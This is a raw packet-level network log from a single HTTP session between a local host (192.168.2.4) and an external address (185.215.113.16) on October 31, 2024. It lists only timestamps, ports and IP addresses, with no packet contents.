Oct 31, 2024 04:15:16.113992929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114003897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114006996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.114016056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114021063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.114027977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114039898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.114063978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.114125967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114136934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114147902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114157915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.114176989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.114190102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.137819052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143162966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143214941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143225908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143260956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143290043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143301010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143316984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143338919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143348932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143402100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143414021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143423080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143435955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143448114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143472910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143554926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143563986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143569946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143587112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143615007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143625021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143636942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143649101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143721104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143731117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143740892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143773079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143778086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143789053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143800974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143826008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143837929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143876076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143889904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143950939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.143971920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.143984079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144005060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144026995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144057035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144067049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144093037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144095898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144131899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144169092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144181967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144220114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144247055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144258022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144311905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144328117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144331932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144337893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144366980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144387007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144398928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144431114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144514084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144525051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144535065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144546986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144557953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144558907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144572020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144596100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144615889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144690990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144709110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144731045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144785881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144798040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144809961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144834995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144845963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144866943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144922018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144934893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.144958973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.144968033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.145004034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268006086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268021107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268075943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268120050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268131018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268176079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268290997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268462896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268472910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268485069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268496990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268513918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268546104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268604994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268619061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268676996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268773079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268783092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268794060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268799067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268805027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268814087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268826962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268870115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268881083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268881083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.268914938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268927097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.268963099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269108057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269118071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269151926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269288063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269299984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269309044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269319057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269349098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269351006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269376040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269457102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269468069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269476891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269486904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269491911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269514084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269658089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269669056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269701004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269821882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269834042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269843102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269854069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.269867897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.269879103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270013094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270024061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270035982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270061016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270082951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270190954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270200968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270205975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270216942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270241022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270265102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270351887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270361900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270370960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270381927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270392895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270395994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270405054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270418882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270432949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.270487070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270498037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.270533085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.291723013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291855097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291866064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291877031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291887999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291898966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.291915894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.291944027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.291999102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292010069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292025089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292036057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292051077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292064905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292171001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292181969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292191029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292201042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292241096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292324066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292402983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292412996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292423010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292443037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292454004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292537928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292547941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292558908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292579889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292733908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292746067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292754889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292767048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292777061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292778015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292788982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292805910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292821884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.292851925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.292892933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293051958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293062925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293071985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293083906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293097019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293101072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293112993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293116093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293157101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293195963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293205976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293215990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293226957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293239117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293261051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293385983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293396950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293428898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293566942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293579102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293615103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293759108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293768883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293778896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293817997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293910027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293922901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293932915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293943882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293955088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.293957949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293966055 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.293967009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294012070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294049025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294060946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294070959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294081926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294085979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294107914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294249058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294260025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294270039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294300079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294322968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294548035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294559002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294569969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294580936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294591904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294598103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294630051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294692993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294704914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294713974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294724941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294740915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294750929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294872046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294884920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294894934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294904947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294910908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.294920921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.294954062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.295171976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322529078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322540045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322549105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322560072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322597027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322617054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322673082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322685003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322695017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322705030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322719097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322724104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322730064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322743893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322757959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322808981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322819948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322829962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.322853088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.322870016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323000908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323012114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323041916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323163986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323174953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323184967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323195934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323208094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323218107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323220015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323229074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323241949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323255062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323317051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323328972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323367119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323502064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323513031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323522091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323532104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323542118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323544025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323554993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323573112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323597908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323667049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323678970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323705912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323836088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323848963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323858023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323869944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323879004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323890924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323908091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323919058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323919058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.323973894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323988914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.323999882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324011087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.324024916 CET	49738	80	192.168.2.4	185.215.113.16
